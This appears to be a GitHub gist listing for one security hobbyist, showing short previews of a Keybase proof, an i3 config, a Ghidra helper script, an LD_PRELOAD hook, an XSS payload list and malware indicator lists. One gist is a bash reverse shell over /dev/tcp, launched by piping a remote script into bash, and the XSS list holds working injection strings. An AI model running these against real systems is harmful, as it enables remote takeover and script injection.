mellow-hype

Keybase proof

I hereby claim:

• I am mellow-hype on github.
• I am hypr_ (https://keybase.io/hypr_) on keybase.
• I have a public key ASDSUedGZsdyUfNKlI43aucXBBGNb-xvb5m8NrEpXi1RuQo

To claim this, I am signing this object:

mellow-hype

# i3 config file (v4)
#
# Please see https://i3wm.org/docs/userguide.html for a complete reference!

set $mod Mod4

# Font for window titles. Will also be used by the bar unless a different font
# is used in the bar {} block below.
font pango:monospace 8

mellow-hype

#!/usr/bin/env bash
# -- search for specific strings in the output of ghidra decompiler for a
# -- specific target binary.
# --
# -- ghidra script from: https://github.com/0xdea/ghidra-scripts
# ---------------------------------------------------------------------------

# update this to point to the location where ghidra is installed
GHIDRA_PATH="$HOME/tools/ghidra_10.1.4"
# update this to point to the location where the ghidra-scripts repo was downloaded

mellow-hype

/*
 * Hook main() using LD_PRELOAD, because why not?
 * Obviously, this code is not portable. Use at your own risk.
 *
 * Compile using 'gcc hax.c -o hax.so -fPIC -shared -ldl'
 * Then run your program as 'LD_PRELOAD=$PWD/hax.so ./a.out'
 */

#define _GNU_SOURCE
#include <stdio.h>

mellow-hype

#define _GNU_SOURCE

#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>

mellow-hype

#!/usr/bin/env bash
# attacker listens using `nc -nvl 8080`
# `curl -Ls https://git.io/fhZJy | bash -s <attacker-ip> 80` on victim

attacker_ip=$1
attacker_port=$2

exec 5<>/dev/tcp/$attacker_ip/$attacker_port
cat <&5 | while read line; do $line 2>&5 >&5; done

mellow-hype

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>

mellow-hype

Dropper URIs:
hxxp://atitmedia.com/RIVTDJLDUW6513072/
hxxps://clickonchris.com/Invoice-434244/

IOC:
hxxp://ohleronline.com/
hxxp://olsondesign.com.au

Hashes
191f9916be26e478d86a28aeddd88f8ed8e31f97

mellow-hype

**IPs**
84.200.16.242
111.90.139.247
185.165.29.78
95.141.115.108

**filenames**
myguy.xls
myguy.exe
carved_0.xls